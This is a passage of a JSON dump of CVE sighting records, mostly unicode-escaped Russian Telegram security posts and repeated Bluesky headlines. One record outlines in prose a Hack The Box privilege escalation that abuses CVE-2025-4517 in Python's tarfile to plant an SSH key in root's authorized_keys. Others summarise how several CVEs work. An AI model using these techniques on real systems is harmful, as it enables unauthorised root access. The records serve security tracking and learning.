\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f wacky  \u27a1\ufe0f \u0447\u0435\u0440\u0435\u0437 su / SSH \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043a\u0430\u043a wacky, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c sudo -l - \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u0430\u043a root \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u043a\u0440\u0438\u043f\u0442 restore_backup_clients.py, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 tar \u0447\u0435\u0440\u0435\u0437 tarfile.extractall(filter=\"data\") \u27a1\ufe0f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c CVE-2025-4517 (PATH_MAX overflow \u0432 os.path.realpath() \u043e\u0431\u0445\u043e\u0434\u0438\u0442 filter=\"data\" \u0432 Python 3.12.3, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438) - \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .tar \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432 - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u0432\u043e\u0439 SSH public key \u0432 /root/.ssh/authorized_keys \n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - WingData, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Easy\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430 \n\n#video #HTB #ippsec #0xdf #Walkthroughs", "creation_timestamp": "2026-08-06T00:00:40.750217Z"}, {"uuid": "c1eae3e3-d9af-4684-874b-def3e95bfcbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://t.me/purp_sec/715", "content": "\ud83d\udd12 Qualys \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043c\u043f\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 Linux\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438\u0437 /etc/shadow, \u0437\u0430 \u0441\u0447\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0434\u0430\u043c\u043f\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\ud83d\udd35 CVE-2025-5054 \u2014 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 apport, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c PID (\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430). \u041f\u0440\u0438 \u0441\u0431\u043e\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 apport \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e _check_global_pid_and_forward \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 consistency_checks, \u0441\u0432\u0435\u0440\u044f\u044e\u0449\u0435\u0439, \u0447\u0442\u043e PID \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443. \u0415\u0441\u043b\u0438 PID \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435, apport \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0434\u0430\u043c\u043f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a.\n\n\ud83d\udd35 CVE-2025-4598 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 systemd-coredump, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043c\u043f\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e SUID-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041a\u043e\u0433\u0434\u0430 SUID-\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438\u0437-\u0437\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0431\u043e\u044f, \u044f\u0434\u0440\u043e Linux \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 core dump, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \u041f\u043e\u043a\u0430 systemd-coredump \u043d\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043b core dump, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c PID reuse \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u0442\u0435\u043c \u0436\u0435 PID. \u0415\u0441\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0438\u0433\u0440\u0430\u0435\u0442 \u0433\u043e\u043d\u043a\u0443, systemd-coredump \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u0435\u0442, \u0447\u0442\u043e core dump \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442 \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0430 \u043c\u0435\u043d\u0435\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0435.\n\n#blue_team #Linux", "creation_timestamp": "2026-08-15T00:00:07.946298Z"}, {"uuid": "665d4eab-8bf3-412b-9b2c-b6d12226d484", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4578", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/26a56b1b-334a-44d4-8118-72c445b83c02", "content": "", "creation_timestamp": "2026-06-19T12:46:00.657105Z"}, {"uuid": "83d51bf7-5e38-4932-9bee-977413756cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45931", "type": "seen", "source": "https://t.me/purp_sec/833", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE\u20112025\u201132463 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 sudo, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u043f\u0446\u0438\u0435\u0439 --chroot (-R). \u0418\u0437\u2011\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 sudo \u043f\u0440\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u043f\u0443\u0442\u0435\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e chroot-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c /etc/nsswitch.conf \u0438\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e root.\n\n\ud83d\udd35 CVE-2025-47812 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c null-byte injection \u0432 Wing FTP Server. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 (\\0) \u0432 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u0442\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u044b\u0434\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root/SYSTEM \u0431\u0435\u0437 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83d\udd35 CVE-2025-49596 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c type confusion \u0432 JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Google Chrome. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\ud83d\udd35 CVE-2025-49520 \u2014 \u0431\u0430\u0433 \u0432 RedHat Ansible Automation Platform (\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 EDA), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043d\u043e\u0439 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 Git URL. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432 Git-\u0430\u0434\u0440\u0435\u0441, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 EDA worker. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e \u0432 \u0441\u0440\u0435\u0434\u0430\u0445 Kubernetes/OpenShift.\n\n\ud83d\udd35 CVE-2025-45931 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0435 D\u2011Link DIR\u2011816\u2011A2, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system() \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0435 bin/goahead, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u0439 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 HTTP\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u0427\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 system \u2014 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:12.687615Z"}, {"uuid": "3b3a6d28-3251-45bd-812c-d12f40ecca27", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45988", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/da6d65e9-c7b1-4676-8ad9-f3800abf747e", "content": "", "creation_timestamp": "2026-06-23T14:03:59.416788Z"}, {"uuid": "8d6ab018-4e3f-4a2c-9c3c-fc98cccf1e76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2g755n324", "content": "The Clock is Ticking: CVE-2025-4574 Could Ignite a Memory Nightmare", "creation_timestamp": "2026-06-27T18:07:15.162685Z"}, {"uuid": "7d59323a-cc0c-48dc-9b6a-5beb785fddce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2g7pofj2l", "content": "CVE-2025-4574: A Window for Exploit or a Call to Action?", "creation_timestamp": "2026-06-27T18:07:15.846266Z"}, {"uuid": "7cf33cbd-8790-4bc9-badf-e5320bc2ab17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2gaccod2o", "content": "CVE-2025-4574: The Double-Edged Sword of Vulnerability Disclosure", "creation_timestamp": "2026-06-27T18:07:16.514766Z"}, {"uuid": "2fb6b734-296c-411e-854d-b4e8b9f8cd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2gaspij2l", "content": "CVE-2025-4574: A Systemic Failure in Memory Management Unveiled", "creation_timestamp": "2026-06-27T18:07:17.159452Z"}, {"uuid": "d60119c5-bf0f-4f21-bcb6-8f1276c35cf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2gbhcbd2o", "content": "CVE-2025-4574: A Double Free of Doubt in Cybersecurity Buzz", "creation_timestamp": "2026-06-27T18:07:17.883318Z"}, {"uuid": "6ea10bb7-bd24-4730-9302-1bec4befc37a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2gc5gsl2b", "content": "Divergent Paths: A Roundtable on the Implications of CVE-2025-4574", "creation_timestamp": "2026-06-27T18:07:18.601155Z"}, {"uuid": "42a9856a-e2da-4427-89e8-eaafb582f2d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2gcsnjd2b", "content": "The Clock is Ticking: CVE-2025-4574 Could Ignite a Memory Nightmare", "creation_timestamp": "2026-06-27T18:07:19.360425Z"}, {"uuid": "7aa29f46-8546-4a0d-9044-44633521bf10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2gdbfbp2p", "content": "CVE-2025-4574: A Window for Exploit or a Call to Action?", "creation_timestamp": "2026-06-27T18:07:19.856862Z"}, {"uuid": "e5c090c9-68bc-4f79-af68-fddb522d6562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2gdruub2i", "content": "CVE-2025-4574: The Double-Edged Sword of Vulnerability Disclosure", "creation_timestamp": "2026-06-27T18:07:20.638121Z"}, {"uuid": "84546d48-e48e-4f3e-875f-950e3fa52155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2ge4eed24", "content": "CVE-2025-4574: A Systemic Failure in Memory Management Unveiled", "creation_timestamp": "2026-06-27T18:07:21.180384Z"}, {"uuid": "e6bec91d-1a2f-4c44-9efb-bd881a466c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2ljeapj2i", "content": "CVE-2025-4574: A Double Free of Doubt in Cybersecurity Buzz", "creation_timestamp": "2026-06-27T18:10:13.792783Z"}, {"uuid": "b95da786-2b2c-4e0c-a075-6b91a09a6f44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpc2ljrcsm2o", "content": "Divergent Paths: A Roundtable on the Implications of CVE-2025-4574", "creation_timestamp": "2026-06-27T18:10:14.378928Z"}, {"uuid": "2654514c-31c9-473e-854e-83d7681a03ce", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2025-45988", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2fc3650d-c0f2-4ca2-8ee5-f589986d2fd8", "content": "", "creation_timestamp": "2026-06-30T10:22:17.814974Z"}, {"uuid": "bcfe7d32-9f6d-465f-bcc6-667f896835c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45729", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpndxiovrj2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2025-45729 \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 D-Link DIR-823-Pro: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 